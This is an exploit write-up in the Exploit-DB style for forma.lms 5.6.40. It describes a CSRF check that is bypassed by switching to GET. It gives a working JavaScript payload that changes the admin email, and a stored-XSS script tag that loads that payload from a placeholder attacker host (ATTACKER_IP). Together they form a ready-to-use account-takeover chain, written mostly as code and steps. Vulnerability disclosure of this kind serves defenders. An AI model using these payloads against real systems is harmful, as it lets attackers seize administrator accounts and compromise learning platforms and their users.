forma.lms 5.6.40 - Cross-Site Request Forgery (Change Admin Email)

# Exploit Title: forma.lms 5.6.40 - Cross-Site Request Forgery (Change Admin Email) 
# Date: 2020-05-21
# Exploit Author: Daniel Ortiz
# Vendor Homepage: https://sourceforge.net/projects/forma/
# Tested on:  XAMPP for Linux 64bit 5.6.40-0


## 1 - Description

- Vulnerable form: Edit Profile
- Details: The validation of the CSRF token depends on request method. Changing the request method from POST to GET the token validation is omitted by the backend.
- Privileges: It requires admin privileges to change the admin email.
- Location: Admin Area >user profile > Edit form
- Endopoint: /formalms/appCore/index.php?r=lms/profile/show&ap=saveinfo


## 2 -Triggering the Vulnerability

To trigger this vulnerability the admin user must log in to the system.

1) Setup a HTTP server on the attacker machine, e.g: python -m SimpleHTTPServer 9090
2) In the attacker machine create a file with this content:

[+] payload.js

var target = document.location.host;
var params = "r=lms/profile/show&ap=saveinfo&authentic_request=&up_lastname=&up_firstname=&[email protected]&user_preference[ui.language]=0&up_signature=&save=Save+changes";

function pwnEmail(){

    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://" + target + "/formalms/appLms/index.php?"+params, true);
    xhr.send(null);

}

pwnEmail();

3) Edit a course and in the description field put this payload: 

<script src="http://ATTACKER_IP:PORT/payload.js"/>

The description field is vulnerable to XSS attacks and is used to trigger the csrf payload.

4) Go to index page in formalms/appLms/index.php?r=lms/mycourses/show this trigger the XSS payload in the description field (the payload loads the payload.js file and execute the CSRF payload)

5) The payload.js file is executed and the admin email is changed